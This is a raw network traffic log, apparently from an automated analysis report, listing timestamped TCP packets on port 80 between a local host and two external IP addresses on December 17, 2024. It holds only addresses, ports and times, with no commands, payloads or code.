Dec 17, 2024 22:06:37.518111944 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.518151045 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.518353939 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.519182920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.519224882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.519404888 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.520224094 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.520268917 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.534441948 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.537167072 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.604953051 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.605016947 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.605036974 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.605082035 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.605113029 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.605159998 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.605189085 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.605271101 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.605302095 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.605370045 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.605587006 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.605633974 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.605709076 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.605798006 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.606049061 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.606175900 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.606369972 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.606539965 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.606812954 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.606826067 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.606909037 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.606959105 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.607197046 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.612921000 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.612936974 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.612970114 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.612977982 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.612983942 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.612998962 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.613001108 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613037109 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613059998 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.613092899 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.613120079 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613162994 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.613192081 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613224983 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613236904 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.613255978 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613276958 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.613297939 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613301039 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.613321066 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613348007 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.613375902 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.613399982 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613413095 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613441944 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.613459110 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.613480091 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613507986 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613580942 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613594055 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613698006 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613711119 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613754034 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613766909 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613837004 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.613989115 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614001989 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614015102 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614041090 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614053965 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614162922 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614234924 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614473104 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614604950 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614753008 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614834070 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614846945 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614859104 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614892006 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.614906073 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.615077972 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.615092039 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.615103960 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.615117073 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.615192890 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.656733990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.656806946 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.656825066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.657002926 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.657047033 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.657169104 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.657212019 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.657304049 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.657344103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.658018112 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.658071995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.658103943 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.658145905 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.659240007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.659284115 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.659284115 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.659331083 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.660167933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.660211086 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.660609961 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.660680056 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.661262989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.661304951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.661921024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.661973953 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.662385941 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.662401915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.662442923 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.662467003 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.663388968 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.663434982 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.663733959 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.663774014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.664385080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.664427996 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.664549112 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.664588928 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.665499926 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.665545940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.665637970 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.665678978 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.666623116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.666682959 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.666959047 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.667005062 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.667645931 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.667687893 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.667839050 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.667880058 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.668823957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.668864012 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.668945074 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.668987989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.669745922 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.669791937 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.669970989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.670012951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.670854092 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.670928955 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.670962095 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.671004057 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.671866894 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.671917915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.672789097 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.672832966 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.672916889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.672960043 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.673183918 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.673224926 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.673989058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.674030066 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.674056053 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.674092054 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.675061941 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.675105095 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.675165892 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.675205946 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.676188946 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.676240921 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.676330090 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.676372051 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.677252054 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.677294970 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.677453995 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.677498102 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.678292990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.678334951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.679079056 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.679120064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.679336071 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.679378033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.679404020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.679441929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.680424929 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.680479050 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.681112051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.681178093 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.681468964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.681510925 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.681941032 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.681982994 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.682545900 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.682586908 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.683089018 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.683130980 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.683608055 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.683651924 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.684206963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.684248924 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.684689999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.684736013 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.684906006 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.684947968 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.685735941 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.685779095 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.685905933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.685946941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.686813116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.686861038 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.687365055 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.687410116 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.687946081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.687992096 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.688088894 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.688132048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.689048052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.689119101 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.689143896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.689184904 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.690022945 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.690087080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.690361977 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.690404892 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.691145897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.691216946 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.691369057 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.691418886 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.692167044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.692214966 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.692329884 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.692369938 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.693480015 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.693526983 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.693660021 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.693711996 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.694308043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.694354057 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.694669008 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.694724083 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.695369959 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.695429087 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.695698023 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.695744038 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.696433067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.696480989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.696950912 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.697002888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.697586060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.697632074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.697675943 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.697726011 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.698570967 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.698622942 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.699043989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.699094057 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.699764013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.699809074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.700810909 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.700826883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.700867891 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.700879097 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.700907946 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.700954914 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.701823950 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.701868057 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.701992989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.702040911 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.702857971 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.702903032 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.702908993 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.702958107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.703982115 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.704027891 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.704052925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.704092026 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.704940081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.704987049 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.705120087 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.705163956 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.706090927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.706139088 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.706196070 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.706237078 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.707154989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.707226992 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.707273960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.707331896 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.708132029 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.708179951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.708746910 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.708826065 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.709189892 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.709261894 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.709407091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.709448099 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.710310936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.710367918 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.710455894 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.710494995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.711426020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.711508989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.711558104 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.711601019 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.712460041 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.712502956 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.724828959 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.724939108 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.725070953 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.725084066 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.725145102 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.725282907 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.725296974 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.725413084 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.725651026 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.727710962 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.727752924 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.727840900 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.727854013 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728023052 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728035927 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728127003 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728184938 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728198051 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728260040 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728360891 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728373051 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728436947 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728540897 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728554010 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728566885 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728645086 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728657961 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728749990 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728837967 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728849888 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.728996992 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.729043007 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.729054928 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.729068041 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.729187965 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.732234001 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.732331038 CET	49836	80	192.168.2.4	104.154.220.71
